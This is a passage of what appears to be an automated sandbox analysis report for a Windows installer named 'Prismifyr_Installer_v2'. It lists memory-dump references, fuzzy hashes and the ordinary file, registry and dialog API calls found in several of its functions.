Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 5aaa147db34fee021f71137ce00f1128120fffe197b4e0338bd4cd09c611a0b2
Instruction ID: b5712d1dc6f90c91938fb9970759bfac189bcafefc635788875416fd9ee2894b
Opcode Fuzzy Hash: 5aaa147db34fee021f71137ce00f1128120fffe197b4e0338bd4cd09c611a0b2
Instruction Fuzzy Hash: 2FC04C712155019ED7546F619F08B277A50EB60781F158839A946E10E0DB348465ED2D

Function 00406155 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CF2,00000000,?,?), ref: 0040617E

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: dcb86bc894ab99bc20e37dc8a6176b737b641c0fdee4176656c7f25b47436c56
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: 75E0E6B2110109BEEF195F50DD0AD7B375DE704304F01452EFA06D4091E6B5AD315634

Function 00405E62 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,004032FA,000000FF,00428200,?,00428200,?,?,00000004,00000000), ref: 00405E76

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: 8754e0b6f25d564075f0081c534dd79b85a2df0f0bc88b3642164a4a3ec1e455
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: FDE0B63221065AAFDF109F95DC00AAB7B6CEB052A0F044437FD59E7150D671EA21DAE4

Function 00405E33 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,00403344,00000000,00000000,00403168,?,00000004,00000000,00000000,00000000), ref: 00405E47

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: bd732019988057c431ec21c3a2c50b1292625b962aa4d7912315599e48db2a91
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: A9E08C3220021AABCF20AF54DC00FEB3B6CEB05760F004832FD65E6040E230EA219BE8

Function 00406127 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,?,?,?,004061B5,?,00000000,?,?,Remove folder: ,?), ref: 0040614B

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction ID: b908bd292ce434c6339c018d18c1e3bfafdd2f7559b63d477f04a141d62eba1a
Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction Fuzzy Hash: 94D0123214020DFBDF119E909D01FAB775DAB08350F014426FE06A9191D776D530AB14

Function 00404231 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetDlgItemTextW.USER32(?,?,00000000), ref: 0040424B

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: ItemText
String ID:
API String ID: 3367045223-0
Opcode ID: fbaad98f197721c3337b4145f660dfcccd1462cc21775b0cc75c291dee439915
Instruction ID: 58c8b0ee816a9f079cb4560b894257bfb9dfa06490f5d5235509ae25e2c95a64
Opcode Fuzzy Hash: fbaad98f197721c3337b4145f660dfcccd1462cc21775b0cc75c291dee439915
Instruction Fuzzy Hash: 79C04C76148300BFD681BB55CC42F1FB79DEF94315F44C52EB59CA11E2C63A84309B26

Function 0040427D Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040428F

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: df53f0ac968c80b2573d185eedc41732bb4466fa0b660203ffcc6a72f8356a2c
Instruction ID: 539d97cecbd0a6245bb22c05259f77f590d4a0b0d5c0f28d123e3a53dcb21da8
Opcode Fuzzy Hash: df53f0ac968c80b2573d185eedc41732bb4466fa0b660203ffcc6a72f8356a2c
Instruction Fuzzy Hash: C6C09BB27403007BDE11CB909E49F1777545790740F18447DB348F51E0D6B4D490D61C

Function 00403347 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,004030A4,?,?,00000006,00000008,0000000A), ref: 00403355

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Function 00404266 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00404091), ref: 00404274

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 916ba585e608d634958797641490031ceb4b368d387894d1e0aab50b7c43ae9e
Instruction ID: 80b1fa8ab317a3fb83bf0bb9afc1fcb2ede285a6b5c9b7890d3d6fe7da01b763
Opcode Fuzzy Hash: 916ba585e608d634958797641490031ceb4b368d387894d1e0aab50b7c43ae9e
Instruction Fuzzy Hash: 69B092361C4600AAEE118B50DE49F497A62E7A4702F008138B244640B0CAB200E0DB09

Function 00404253 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040402A), ref: 0040425D

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: ea082ecd867c03a11dfd78164402b3a9c9d6e2ba96aa803d9d5c73deeff3904d
Instruction ID: 6a6b83ba7992c3eb947fe44f0607646ae594aefa1fc7371f7d6a783f6fb0b7b0
Opcode Fuzzy Hash: ea082ecd867c03a11dfd78164402b3a9c9d6e2ba96aa803d9d5c73deeff3904d
Instruction Fuzzy Hash: 4EA002754445019BCF015B50DF098057A61F7A4701B114479B5555103596314860EB19

Non-executed Functions

Function 00404C9E Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404CB6
GetDlgItem.USER32(?,00000408), ref: 00404CC1
GlobalAlloc.KERNEL32(00000040,?), ref: 00404D0B
LoadBitmapW.USER32(0000006E), ref: 00404D1E
SetWindowLongW.USER32(?,000000FC,00405296), ref: 00404D37
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404D4B
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404D5D
SendMessageW.USER32(?,00001109,00000002), ref: 00404D73
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404D7F
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404D91
DeleteObject.GDI32(00000000), ref: 00404D94
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404DBF
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404DCB
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E61
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404E8C
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404EA0
GetWindowLongW.USER32(?,000000F0), ref: 00404ECF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404EDD
ShowWindow.USER32(?,00000005), ref: 00404EEE
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404FEB
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00405050
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405065
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405089
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004050A9
ImageList_Destroy.COMCTL32(?), ref: 004050BE
GlobalFree.KERNEL32(?), ref: 004050CE
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405147
SendMessageW.USER32(?,00001102,?,?), ref: 004051F0
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004051FF
InvalidateRect.USER32(?,00000000,00000001), ref: 0040521F
ShowWindow.USER32(?,00000000), ref: 0040526D
GetDlgItem.USER32(?,000003FE), ref: 00405278
ShowWindow.USER32(00000000), ref: 0040527F

Strings

, xrefs: 00405257
N, xrefs: 00404F29
M, xrefs: 00404E48

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
